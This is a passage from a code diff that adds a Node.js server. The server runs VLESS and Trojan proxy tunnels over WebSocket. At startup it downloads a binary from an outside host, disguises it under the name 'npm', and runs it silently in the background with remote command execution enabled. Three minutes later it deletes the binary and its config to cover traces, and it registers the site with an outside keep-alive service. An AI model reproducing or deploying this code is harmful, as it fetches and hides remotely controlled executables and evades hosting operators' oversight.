true; +} + +// Tro-jan处理 +function handleTrojanConnection(ws, msg) { + try { + if (msg.length < 58) return false; + const receivedPasswordHash = msg.slice(0, 56).toString(); + const possiblePasswords = [ + UUID, + ]; + + let matchedPassword = null; + for (const pwd of possiblePasswords) { + const hash = crypto.createHash('sha224').update(pwd).digest('hex'); + if (hash === receivedPasswordHash) { + matchedPassword = pwd; + break; + } + } + + if (!matchedPassword) return false; + let offset = 56; + if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const cmd = msg[offset]; + if (cmd !== 0x01) return false; + offset += 1; + const atyp = msg[offset]; + offset += 1; + let host, port; + if (atyp === 0x01) { + host = msg.slice(offset, offset + 4).join('.'); + offset += 4; + } else if (atyp === 0x03) { + const hostLen = msg[offset]; + offset += 1; + host = msg.slice(offset, offset + hostLen).toString(); + offset += hostLen; + } else if (atyp === 0x04) { + host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => + (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) + .map(b => b.readUInt16BE(0).toString(16)).join(':'); + offset += 16; + } else { + return false; + } + + port = msg.readUInt16BE(offset); + offset += 2; + + if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const duplex = createWebSocketStream(ws); + + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; + } catch (error) { + return false; + } +} +// Ws 连接处理 +wss.on('connection', (ws, req) => { + const url = req.url || ''; + ws.once('message', msg => { + if (msg.length > 17 && msg[0] === 0) { + const id = msg.slice(1, 17); + const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); + if (isVless) { + if (!handleVlessConnection(ws, msg)) { + ws.close(); + } + return; + } + } + + if (!handleTrojanConnection(ws, msg)) { + ws.close(); + } + }).on('error', () => {}); +}); + +const getDownloadUrl = () => { + const arch = os.arch(); + if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { + if (!NEZHA_PORT) { + return 'https://arm64.ssss.nyc.mn/v1'; + } else { + return 'https://arm64.ssss.nyc.mn/agent'; + } + } else { + if (!NEZHA_PORT) { + return 'https://amd64.ssss.nyc.mn/v1'; + } else { + return 'https://amd64.ssss.nyc.mn/agent'; + } + } +}; + +const downloadFile = async () => { + if (!NEZHA_SERVER && !NEZHA_KEY) return; + + try { + const url = getDownloadUrl(); + const response = await axios({ + method: 'get', + url: url, + responseType: 'stream' + }); + + const writer = fs.createWriteStream('npm'); + response.data.pipe(writer); + + return new Promise((resolve, reject) => { + writer.on('finish', () => { + console.log('npm download successfully'); + exec('chmod +x npm', (err) => { + if (err) reject(err); + resolve(); + }); + }); + writer.on('error', reject); + }); + } catch (err) { + throw err; + } +}; + +const runnz = async () => { + try { + const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); + if (status.trim() !== '') { + console.log('npm is already running, skip running...'); + return; + } + } catch (e) { + // 进程不存在时继续运行nezha + } + + await downloadFile(); + let command = ''; + let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; + + if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { + const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; + command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; + } else if (NEZHA_SERVER && NEZHA_KEY) { + if (!NEZHA_PORT) { + const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; + const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; + const configYaml = `client_secret: ${NEZHA_KEY} +debug: false +disable_auto_update: true +disable_command_execute: false +disable_force_update: true +disable_nat: false +disable_send_query: false +gpu: false +insecure_tls: true +ip_report_period: 1800 +report_delay: 4 +server: ${NEZHA_SERVER} +skip_connection_count: true +skip_procs_count: true +temperature: false +tls: ${NZ_TLS} +use_gitee_to_upgrade: false +use_ipv6_country_code: false +uuid: ${UUID}`; + + fs.writeFileSync('config.yaml', configYaml); + } + command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; + } else { + console.log('NEZHA variable is empty, skip running'); + return; + } + + try { + exec(command, { shell: '/bin/bash' }, (err) => { + if (err) console.error('npm running error:', err); + else console.log('npm is running'); + }); + } catch (error) { + console.error(`error: ${error}`); + } +}; + +async function addAccessTask() { + if (!AUTO_ACCESS) return; + + if (!DOMAIN) { + return; + } + const fullURL = `https://${DOMAIN}`; + try { + const res = await axios.post("https://oooo.serv00.net/add-url", { + url: fullURL + }, { + headers: { + 'Content-Type': 'application/json' + } + }); + console.log('Automatic Access Task added successfully'); + } catch (error) { + // console.error('Error adding Task:', error.message); + } +} + +const delFiles = () => { + fs.unlink('npm', () => {}); + fs.unlink('config.yaml', () => {}); +}; + +httpServer.listen(PORT, () => { + runnz(); + setTimeout(() => { + delFiles(); + }, 180000); + addAccessTask(); + console.log(`Server is running on port ${PORT}`); +});